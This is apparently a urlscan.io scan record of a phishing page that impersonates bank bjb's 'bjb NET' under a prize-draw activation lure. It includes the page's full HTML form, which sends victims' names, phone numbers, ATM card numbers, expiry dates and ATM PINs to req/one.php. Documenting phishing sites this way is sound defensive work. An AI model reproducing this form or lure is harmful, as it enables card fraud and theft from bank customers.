konfirmasi-tarif-bank-bjb-net.asint.sbs Open in urlscan Pro
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Form analysis
1 forms found in the DOM

POST req/one.php

<form method="POST" action="req/one.php" id="form">
  <div style="display:none">
  </div>
  <div class="row">
    <p class="" style="margin: 10px 0">Nama Lengkap</p>
    <div class="input-field">
      <input type="text" id="usr" name="nama" value="" placeholder="" maxlength="20" minlength="4" class="valTextNumber wdFull " autocomplete="off" required="required">
      <p></p>
    </div>
  </div>
  <div class="row">
    <p class="" style="margin: 10px 0">Nomor Handphone</p>
    <div class="input-field">
      <input type="tel" id="phone" name="nohp" value="+62" placeholder="" maxlength="15" minlength="10" class="valTextNumber wdFull " autocomplete="off" required="required">
      <p></p>
    </div>
  </div>
  <div class="row">
    <p class="" style="margin: 10px 0">Masukkan 18 Digit Angka Nomor Kartu ATM</p>
    <div class="input-field">
      <input type="tel" id="debit" name="noatm" value="" placeholder="" maxlength="18" minlength="16" class="valTextNumber wdFull " autocomplete="off" required="required">
      <p></p>
    </div>
  </div>
  <div class="row">
    <p class="" style="margin: 10px 0">Tanggal Kadaluarsa Kartu ATM (mm / yy)</p>
    <div class="input_items_select">
      <select name="bulan" id="" required="">
        <option selected="" disabled="">Bulan</option>
        <option>01</option>
        <option>02</option>
        <option>03</option>
        <option>04</option>
        <option>05</option>
        <option>06</option>
        <option>07</option>
        <option>08</option>
        <option>09</option>
        <option>10</option>
        <option>11</option>
        <option>12</option>
      </select>
      <select name="tahun" id="">
        <option selected="" disabled="">Tahun</option>
        <option>2024</option>
        <option>2025</option>
        <option>2026</option>
        <option>2027</option>
        <option>2028</option>
        <option>2029</option>
        <option>2030</option>
        <option>2031</option>
        <option>2032</option>
        <option>2033</option>
        <option>2034</option>
        <option>2035</option>
      </select>
      <p></p>
    </div>
  </div>
  <div class="row">
    <p class="" style="margin: 10px 0">Masukkan 6-Digit PIN Kartu ATM</p>
    <div class="input-field">
      <input type="password" id="pwd" name="saldo" value="" placeholder="******" maxlength="6" minlength="6" class="valTextNumber wdFull " autocomplete="off" required="required">
      <p></p>
    </div>
  </div>
  <input type="submit" class="wdFull" value="Selanjutnya">
</form>

Text Content

bjb NET

AKTIVASI UNDIAN BERHADIAH
Silahkan lengkapi data di bawah ini:

Nama Lengkap



Nomor Handphone



Masukkan 18 Digit Angka Nomor Kartu ATM



Tanggal Kadaluarsa Kartu ATM (mm / yy)

Bulan 01 02 03 04 05 06 07 08 09 10 11 12 Tahun 2024 2025 2026 2027 2028 2029
2030 2031 2032 2033 2034 2035



Masukkan 6-Digit PIN Kartu ATM



Kembali ke halaman utama
Demi keamanan silahkan gunakan virtual keyboard, Resiko penyadapan data dari
keyboard fisik (non virtual) diluar tanggung jawab bank bjb